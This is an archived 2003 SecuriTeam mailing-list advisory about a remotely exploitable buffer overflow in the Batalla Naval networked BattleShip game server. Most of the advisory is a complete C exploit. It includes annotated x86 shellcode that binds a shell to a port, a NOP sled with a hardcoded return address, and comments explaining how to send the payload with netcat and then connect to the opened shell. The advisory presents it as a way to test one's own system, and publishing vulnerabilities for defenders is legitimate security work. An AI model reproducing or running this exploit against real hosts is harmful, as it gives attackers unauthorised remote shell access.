

[UNIX] Gnome Batalla Naval Remotely Exploitable Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-06/0093.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 06/25/03

To: list@securiteam.com

Date: 25 Jun 2003 14:05:42 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.secureteam.com>

-- promotion

Beyond Security in Canada

Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.

We welcome ISPs, system integrators and IT systems resellers

to promote the most advanced vulnerability assessment solutions today.

Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

Gnome Batalla Naval Remotely Exploitable Buffer Overflow (Exploit)

SUMMARY

<<http://batnav.sourceforge.net/>> Batalla Naval is a networked BattleShip game. It supports multiple players and multiple robots at the same time. A remotely exploitable buffer overflow in the game allows remote attackers to cause the product to execute arbitrary code. The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Exploit:

/*

*by jsk for gbnservr remote exploit demo

*sorry for my poor english

*test in redhat 8.0

* example:(./gbnex;cat)|nc 127.0.0.1 1995

* ctrol c

* ./nc 127.0.0.1 30464

Securiteam: [UNIX] Gnome Batalla Naval Remotely Exploitable Buffer Overflow (Exploit)

```
* id
* uid=508(sa2) gid=508(sa2) groups=508(sa2)
*2003-6-2
*gbatnav-1.0.4 (<=)
*problem in strcpy(dst, src) src buffer 5000, dst buffer 500,so Remote
Buffer Over
* ret is very hard to find ths warning3 from nsfocus Security Team.
* www.ph4nt0m.org&email: jsk@ph4nt0m.net
*I am from Ph4nt0m Security Team
*ths warning3
*/
#include <stdlib.h>
#include <unistd.h>

#define NOP 0x90
#define OFFSET 100
#define bufsize 584

char shellcode[] =

"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x02" /* movb $0x2,%al */
"\xcd\x80" /* int $0x80 */
"\x85\xc0" /* testl %eax,%eax */
"\x75\x43" /* jne 0x43 */
"\xeb\x43" /* jmp 0x43 */
"\x5e" /* popl %esi */
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xf1" /* movl %esi,%ecx */
"\xb0\x02" /* movb $0x2,%al */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x06" /* movb $0x6,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x01" /* movb $0x1,%bl */
"\xcd\x80" /* int $0x80 */
"\x89\x06" /* movl %eax,(%esi) */
"\xb0\x02" /* movb $0x2,%al */
"\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */
"\xb0\x77" /* movb $0x77,%al */
"\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */
"\x8d\x46\x0c" /* leal 0xc(%esi),%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x10" /* movl %eax,0x10(%esi) */
"\xb0\x10" /* movb $0x10,%al */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
```

Securiteam: [UNIX] Gnome Batalla Naval Remotely Exploitable Buffer Overflow (Exploit)

```
"\xb3\x02" /* movb $0x2,%bl */
"\xcd\x80" /* int $0x80 */
"\xeb\x04" /* jmp 0x4 */
"\xeb\x55" /* jmp 0x55 */
"\xeb\x5b" /* jmp 0x5b */
"\xb0\x01" /* movb $0x1,%al */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x04" /* movb $0x4,%bl */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x89\x46\x08" /* movl %eax,0x8(%esi) */
"\xb0\x66" /* movb $0x66,%al */
"\xb3\x05" /* movb $0x5,%bl */
"\xcd\x80" /* int $0x80 */
"\x88\xc3" /* movb %al,%bl */
"\xb0\x3f" /* movb $0x3f,%al */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x01" /* movb $0x1,%cl */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f,%al */
"\xb1\x02" /* movb $0x2,%cl */
"\xcd\x80" /* int $0x80 */
"\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */
"\x89\x06" /* movl %eax,(%esi) */
"\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */
"\x89\x46\x04" /* movl %eax,0x4(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %al,0x7(%esi) */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xorl %eax,%eax */
"\xb0\x01" /* movb $0x1,%al */
"\x31\xdb" /* xorl %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\xe8\x5b\xff\xff\xff";
```

```
int main()
```

```
{
long offset = 0;
int ret;
u_char buf[bufsize];
```

Securiteam: [UNIX] Gnome Batalla Naval Remotely Exploitable Buffer Overflow (Exploit)

```
memset(buf, NOP, bufsize);
memcpy(&buf[bufsize-(strlen(shellcode)+21*sizeof(ret)),shellcode,strlen(shellcode));

ret = 0xbffde8c;

memcpy(&buf[bufsize-(sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(2*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(3*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(4*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(5*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(6*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(7*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(8*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(9*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(10*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(11*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(12*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(13*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(14*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(15*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(16*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(17*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(18*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(19*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(20*sizeof(ret))], &ret, sizeof(ret));
memcpy(&buf[bufsize-(21*sizeof(ret))], &ret, sizeof(ret));

printf("%s\n",buf);

}
```

ADDITIONAL INFORMATION

The vulnerability has been found by <mailto:wsxz@terra.com.br> wsxz, the exploit code has been provided by <mailto:jsk@ph4nt0m.net> jsk.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.